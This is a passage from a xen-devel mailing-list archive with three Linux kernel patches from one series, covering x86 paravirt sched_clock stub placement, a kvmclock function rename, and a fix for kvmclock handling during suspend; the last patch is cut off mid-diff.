X-Forwarded-Encrypted: i=1; AHgh+RqeHtLfCthZGbujIAkUVxn+8jCsjo1bQAKh84SWIJeHnJiQxKt1IcJH/Mk/Z/g6l4SX14vA545G4NI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyqOEP+5zHE/acWYEioNc3+Un/4oYk+O3ST8kkKIdYdl41S4WWk
	E+kxT72Y1eaI1JStWXdlLLvgTxU0gPRAroebyflg0e+aIa0EUwDrFDWqd0V+Vxl3DkIUsWl+1vd
	SmIAhcA==
X-Received: from pjbmt23.prod.google.com ([2002:a17:90b:2317:b0:380:79f2:a916])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:90b:3a47:b0:37e:2005:6507
 with SMTP id 98e67ed59e1d1-380ba84865cmr1899432a91.15.1782934406994; Wed, 01
 Jul 2026 12:33:26 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:32:11 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-51-seanjc@google.com>
Subject: [PATCH v5 50/51] x86/paravirt: Move using_native_sched_clock() stub
 into timer.h
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-ebf023/1782934409-ADB331CC-A683ADBA/13/0
X-purgate-type: clean
X-purgate-size: 1714

Now that timer.h ended up with CONFIG_PARAVIRT #ifdeffery anyways, move the
PARAVIRT=n using_native_sched_clock() stub into timer.h as a "free"
optimization.

No functional change intended.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/include/asm/timer.h | 6 ++++--
 arch/x86/kernel/tsc.c        | 2 --
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/x86/include/asm/timer.h b/arch/x86/include/asm/timer.h
index ca5c95d48c03..a52388af6055 100644
--- a/arch/x86/include/asm/timer.h
+++ b/arch/x86/include/asm/timer.h
@@ -11,9 +11,9 @@ extern void recalibrate_cpu_khz(void);
 
 extern int no_timer_check;
 
-extern bool using_native_sched_clock(void);
-
 #ifdef CONFIG_PARAVIRT
+extern bool using_native_sched_clock(void);
+
 int __init __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
 				      void (*save)(void), void (*restore)(void));
 
@@ -23,6 +23,8 @@ static __always_inline void paravirt_set_sched_clock(u64 (*func)(void),
 {
 	(void)__paravirt_set_sched_clock(func, true, save, restore);
 }
+#else
+static inline bool using_native_sched_clock(void) { return true; }
 #endif
 
 /*
diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index a146fc7b5e74..564be4faa5a0 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -302,8 +302,6 @@ int __init __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
 }
 #else
 u64 sched_clock_noinstr(void) __attribute__((alias("native_sched_clock")));
-
-bool using_native_sched_clock(void) { return true; }
 #endif
 
 notrace u64 sched_clock(void)
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:35:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:35:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350719.1608240 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iu-0004Kw-8e; Wed, 01 Jul 2026 19:35:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350719.1608240; Wed, 01 Jul 2026 19:35:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iu-0004Ko-5e; Wed, 01 Jul 2026 19:35:52 +0000
Received: by outflank-mailman (input) for mailman id 1350719;
 Wed, 01 Jul 2026 19:35:51 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3YGtFagYKCaUXJFSOHLTTLQJ.HTRcJS-IJaJQQNXYX.cJSUWTOJHY.TWL@flex--seanjc.bounces.google.com>)
 id 1wf0it-0004GA-BM
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:35:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0is-003oa2-OY
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:35:50 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3YGtFagYKCaUXJFSOHLTTLQJ.HTRcJS-IJaJQQNXYX.cJSUWTOJHY.TWL@flex--seanjc.bounces.google.com>)
 id 6a456bfe-bab6-0a2a0a5309dd-0a2a4509b1ae-26
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:35:50 +0200
Received: from [209.85.216.73] (helo=mail-pj1-f73.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3YGtFagYKCaUXJFSOHLTTLQJ.HTRcJS-IJaJQQNXYX.cJSUWTOJHY.TWL@flex--seanjc.bounces.google.com>)
 id 6a456b61-97e6-0a2a45090019-d155d849b474-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:50 +0200
Received: by mail-pj1-f73.google.com with SMTP id
 98e67ed59e1d1-37e17ec1940so1078897a91.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:50 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934368; x=1783539168; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=+CBMOnR0NQyGIEx0KnXnLe9zyF/J2rmq2NSzuBA4h88=;
        b=XcrJrXfzVwhbQm7arI+4S5/HMO/oIwi1vFSPuB5UxJBgmScUpoALtc3jgjZQQs+Hdx
         XLI4WFqfuLiHvRAAGxUY6PUHZeud93WVHymI18Fzgah7GvGGOrZSlUoSPRSuFYNiQYn0
         BbxFJU31l8dWLGDvxD6j6MkJ51TEb9hAlHQNiQSR31VSDIllLI5qDFyDg4qIsnrNnLdL
         YXkFCr5FkFy465juiTNHMdJKCCR1vxnvzTqoPy7UJt+HZCY1ZAbyIwXZhj8k0rwwEwVu
         /anVp+w8uKc7en2ZkjNBHOryBqLXrT+E0eZdu9MwIKGFotLLlwrV2E9k/XTPrZ81uLHT
         t+0Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934368; x=1783539168;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=+CBMOnR0NQyGIEx0KnXnLe9zyF/J2rmq2NSzuBA4h88=;
        b=iMjDkFYr4IFXy0tOMp7WrhrW5Vm40695Cil9KI5rhpdTHZnNQcSC9L9tEwPr5SPsEG
         x7OgZ2F8aaA44iSxVorY6XdHX57Pwca7bLYTSGI1FSYfFd81j+jXu1DzAogQtbzfq0YW
         T4JhLZwGWj3q1W11XoVevz1ukJKs3rXKZnHeLeCWA3iWY6Pos21ccnen6sHx1zufF4Kg
         zXydVLtGiwbQHgPTRMJtuehbam5Z8OkGmjXPUmjuqOJC2tkfA9DzuIZwAETIjYhZbzHE
         Y0iF0OyQlEmX8R6b0pXp+SJ88EutDKucCi4Bo+oxDi7XbVX6s6CI2LqrVveNuQHwPnUj
         rDRg==
X-Forwarded-Encrypted: i=1; AHgh+RooTcgGYc5mqr0Tvdk41lAt7X67dflxa9IDclZDKfUiJfkf1PQcJzrQgKiclvXDEYGLiznjFrtp/J8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzStQAgy/qXsIMFzPaxtIxbeZQMd3NVfV+FyFL229fUzRNlaygF
	7v8D8EPz+sBh7otDHrJbaIJyYGPHaboLBdPvFrTKbWZlmIBG86gwzWNahX9Xkxt4pD6c/8BBaAJ
	jUqqAMQ==
X-Received: from pjbca16.prod.google.com ([2002:a17:90a:f310:b0:37c:9369:8b75])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:90b:4acb:b0:37f:d6f3:450d
 with SMTP id 98e67ed59e1d1-380aa1313ecmr3162862a91.14.1782934368170; Wed, 01
 Jul 2026 12:32:48 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:39 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-19-seanjc@google.com>
Subject: [PATCH v5 18/51] x86/kvmclock: Rename kvm_get_tsc_khz() to kvmclock_get_tsc_khz()
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-bad1c0/1782934370-4532F986-E3E9FB2F/13/0
X-purgate-type: clean
X-purgate-size: 1634

Rename kvm_get_tsc_khz() to kvmclock_get_tsc_khz() in anticipation of
adding support for getting TSC info from PV CPUID, i.e. in a KVM specific
way, but without non-kvmclock.

No functional change intended.

Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/kvmclock.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index 35a879d33e9e..061a22d31dea 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -136,7 +136,7 @@ static inline void kvm_sched_clock_init(bool stable)
  * poll of guests can be running and trouble each other. So we preset
  * lpj here
  */
-static unsigned int __init kvm_get_tsc_khz(void)
+static unsigned int __init kvmclock_get_tsc_khz(void)
 {
 	return pvclock_tsc_khz(this_cpu_pvti());
 }
@@ -146,7 +146,7 @@ static void __init kvm_get_preset_lpj(void)
 	unsigned long khz;
 	u64 lpj;
 
-	khz = kvm_get_tsc_khz();
+	khz = kvmclock_get_tsc_khz();
 
 	lpj = ((u64)khz * 1000);
 	do_div(lpj, HZ);
@@ -342,8 +342,8 @@ void __init kvmclock_init(void)
 	flags = pvclock_read_flags(&hv_clock_boot[0].pvti);
 	kvm_sched_clock_init(flags & PVCLOCK_TSC_STABLE_BIT);
 
-	x86_init.hyper.get_tsc_khz = kvm_get_tsc_khz;
-	x86_init.hyper.get_cpu_khz = kvm_get_tsc_khz;
+	x86_init.hyper.get_tsc_khz = kvmclock_get_tsc_khz;
+	x86_init.hyper.get_cpu_khz = kvmclock_get_tsc_khz;
 	x86_platform.get_wallclock = kvm_get_wallclock;
 	x86_platform.set_wallclock = kvm_set_wallclock;
 #ifdef CONFIG_X86_LOCAL_APIC
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:36:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:36:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350740.1608250 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0jB-00056V-Lu; Wed, 01 Jul 2026 19:36:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350740.1608250; Wed, 01 Jul 2026 19:36:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0jB-00056J-HW; Wed, 01 Jul 2026 19:36:09 +0000
Received: by outflank-mailman (input) for mailman id 1350740;
 Wed, 01 Jul 2026 19:36:08 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3b2tFagYKCbQmYUhdWaiiafY.WigrYh-XYpYffcmnm.rYhjlidYWn.ila@flex--seanjc.bounces.google.com>)
 id 1wf0jA-000535-D5
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:36:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0j9-00Bwbb-QG
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:36:07 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3b2tFagYKCbQmYUhdWaiiafY.WigrYh-XYpYffcmnm.rYhjlidYWn.ila@flex--seanjc.bounces.google.com>)
 id 6a456c14-5cb7-0a2a0a5109dd-0a2a4505baa4-32
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:36:07 +0200
Received: from [209.85.216.74] (helo=mail-pj1-f74.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3b2tFagYKCbQmYUhdWaiiafY.WigrYh-XYpYffcmnm.rYhjlidYWn.ila@flex--seanjc.bounces.google.com>)
 id 6a456b70-3cb2-0a2a45050019-d155d84ae8e7-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:05 +0200
Received: by mail-pj1-f74.google.com with SMTP id
 98e67ed59e1d1-37fccad2b01so1710983a91.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:04 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934383; x=1783539183; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=YK2zVmNLEJoBEawF7PlPSBbbkhRpzdy0apLvLWVt+lo=;
        b=GfPMSMmuPk3zh8O5e84EIZ6P/vKNB7Eyzg2O/pzTKiZJ5+ulRzUqGZa/OLYHl7XdB5
         EKZ7abIj+8dtJJ2qh98qtNXdClw+ERNQLjGUi7NIeqikuiYmznNKa0WkypvEbWKYhq++
         r2a9s75lRvNwb7YwVHyvlq44LpvZ7GKKKdHCsr49c21xXvJm16E6wTt9Zh9ogft4ty4I
         ItJov+7e1/dYoO1A+M3nbuz5ONeWGQt/aQscE1TRPDlZnKBOdO5SnWmCQtTmGLLsgxeJ
         ozpyJCFJLQ99ybhoiGWHRpxH6sckAF5WHfViZfxFcsxmtTZNBYWMUwWBetNA0zBjSBqY
         x54Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934383; x=1783539183;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=YK2zVmNLEJoBEawF7PlPSBbbkhRpzdy0apLvLWVt+lo=;
        b=WSAcXYIeSdEVYhKY+uGGhocrUuqskQIvJn07RYO/mdBIFyEJmDezVGHx72l/g+k+/c
         FDHE+nTSShGSkh4Chh9Dn+OSYBPeoLoypoctrDe1baZQrmqiZz/WkFvc0Jz0thWr//oI
         pZjHpT8KbWW6VQNFTOros/vRsURHEksg3AGYBdUEhBZ4F8QUZbp/u14M0d1GI9fA0Drd
         OMHtFwdLcH9YElQtTxDZGLR/41PaiX0iCC/qEBmACwZNY8ulcRbJc7Qz4OVRDHieIQCV
         MATnlQh5hlABEtZONO+LHQlSrrjIs+/4DDfZOFUWo9xMdp1LmIHfOq+i9mizpcVfES48
         Bh+g==
X-Forwarded-Encrypted: i=1; AFNElJ9HhiwmbRhvuJUlzwLs8YKy2CJPOcDVSWMOcaIhTVBjGo3qYB98CVA/VwZdl8horqq25gwPfhv9AZ4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyeSCV+jVNKfLKoJqTOfSCQHcX552R3klRFWmTBt5zh7msYKhgb
	kkLwbrPq+la3pNSZNZWJRjmfGh+49J0lFdnP994tHKsIrgO1ah8+SaEetcavxImj8fMtO9z8/Ou
	SN0Y3Qg==
X-Received: from pgwa6.prod.google.com ([2002:a65:6546:0:b0:c99:cbb4:1dcb])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a20:a11b:b0:3b2:924c:567d
 with SMTP id adf61e73a8af0-3bff42bedd3mr2415279637.46.1782934383031; Wed, 01
 Jul 2026 12:33:03 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:50 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-30-seanjc@google.com>
Subject: [PATCH v5 29/51] x86/kvm: Don't disable kvmclock on BSP in syscore_suspend()
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-c201ff/1782934385-169102B8-DC817DCC/13/0
X-purgate-type: clean
X-purgate-size: 5417

Don't disable kvmclock on the BSP during syscore_suspend(), as the BSP's
clock is NOT restored during syscore_resume(), but is instead restored
earlier via the sched_clock restore callback.  If suspend is aborted, e.g.
due to a late wakeup, the BSP will run without its clock enabled, which
"works" only because KVM-the-hypervisor is kind enough to not clobber the
shared memory when the clock is disabled.  But over time, the BSP's view
of time will drift from APs.

Plumb in an "action" to KVM-as-a-guest and kvmclock code in preparation
for additional cleanups to kvmclock's suspend/resume logic.

Fixes: c02027b5742b ("x86/kvm: Disable kvmclock on all CPUs on shutdown")
Cc: stable@vger.kernel.org
Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/include/asm/kvm_para.h |  8 +++++++-
 arch/x86/kernel/kvm.c           | 15 ++++++++-------
 arch/x86/kernel/kvmclock.c      | 31 +++++++++++++++++++++++++------
 3 files changed, 40 insertions(+), 14 deletions(-)

diff --git a/arch/x86/include/asm/kvm_para.h b/arch/x86/include/asm/kvm_para.h
index 4a49fc286b4c..08686ff19caa 100644
--- a/arch/x86/include/asm/kvm_para.h
+++ b/arch/x86/include/asm/kvm_para.h
@@ -118,8 +118,14 @@ static inline long kvm_sev_hypercall3(unsigned int nr, unsigned long p1,
 }
 
 #ifdef CONFIG_KVM_GUEST
+enum kvm_guest_cpu_action {
+	KVM_GUEST_BSP_SUSPEND,
+	KVM_GUEST_AP_OFFLINE,
+	KVM_GUEST_SHUTDOWN,
+};
+
 void kvmclock_init(bool prefer_tsc);
-void kvmclock_disable(void);
+void kvmclock_cpu_action(enum kvm_guest_cpu_action action);
 bool kvm_para_available(void);
 unsigned int kvm_arch_para_features(void);
 unsigned int kvm_arch_para_hints(void);
diff --git a/arch/x86/kernel/kvm.c b/arch/x86/kernel/kvm.c
index 6c7011ff7bd1..604b52f233aa 100644
--- a/arch/x86/kernel/kvm.c
+++ b/arch/x86/kernel/kvm.c
@@ -460,7 +460,7 @@ static void __init sev_map_percpu_data(void)
 	}
 }
 
-static void kvm_guest_cpu_offline(bool shutdown)
+static void kvm_guest_cpu_offline(enum kvm_guest_cpu_action action)
 {
 	kvm_disable_steal_time();
 	if (kvm_para_has_feature(KVM_FEATURE_PV_EOI))
@@ -468,9 +468,10 @@ static void kvm_guest_cpu_offline(bool shutdown)
 	if (kvm_para_has_feature(KVM_FEATURE_MIGRATION_CONTROL))
 		wrmsrq(MSR_KVM_MIGRATION_CONTROL, 0);
 	kvm_pv_disable_apf();
-	if (!shutdown)
+	if (action != KVM_GUEST_SHUTDOWN)
 		apf_task_wake_all();
-	kvmclock_disable();
+
+	kvmclock_cpu_action(action);
 }
 
 static int kvm_cpu_online(unsigned int cpu)
@@ -726,7 +727,7 @@ static int kvm_cpu_down_prepare(unsigned int cpu)
 	unsigned long flags;
 
 	local_irq_save(flags);
-	kvm_guest_cpu_offline(false);
+	kvm_guest_cpu_offline(KVM_GUEST_AP_OFFLINE);
 	local_irq_restore(flags);
 	return 0;
 }
@@ -737,7 +738,7 @@ static int kvm_suspend(void *data)
 {
 	u64 val = 0;
 
-	kvm_guest_cpu_offline(false);
+	kvm_guest_cpu_offline(KVM_GUEST_BSP_SUSPEND);
 
 #ifdef CONFIG_ARCH_CPUIDLE_HALTPOLL
 	if (kvm_para_has_feature(KVM_FEATURE_POLL_CONTROL))
@@ -768,7 +769,7 @@ static struct syscore kvm_syscore = {
 
 static void kvm_pv_guest_cpu_reboot(void *unused)
 {
-	kvm_guest_cpu_offline(true);
+	kvm_guest_cpu_offline(KVM_GUEST_SHUTDOWN);
 }
 
 static int kvm_pv_reboot_notify(struct notifier_block *nb,
@@ -792,7 +793,7 @@ static struct notifier_block kvm_pv_reboot_nb = {
 #ifdef CONFIG_CRASH_DUMP
 static void kvm_crash_shutdown(struct pt_regs *regs)
 {
-	kvm_guest_cpu_offline(true);
+	kvm_guest_cpu_offline(KVM_GUEST_SHUTDOWN);
 	native_machine_crash_shutdown(regs);
 }
 #endif
diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index b0c871ba8232..a3ec298d56d7 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -199,8 +199,22 @@ static void kvm_register_clock(char *txt)
 	pr_debug("kvm-clock: cpu %d, msr %llx, %s", smp_processor_id(), pa, txt);
 }
 
+static void kvmclock_disable(void)
+{
+	if (msr_kvm_system_time)
+		native_write_msr(msr_kvm_system_time, 0);
+}
+
 static void kvm_save_sched_clock_state(void)
 {
+	/*
+	 * Stop host writes to kvmclock immediately prior to suspend/hibernate.
+	 * If the system is hibernating, then kvmclock will likely reside at a
+	 * different physical address when the system awakens, and host writes
+	 * to the old address prior to reconfiguring kvmclock would clobber
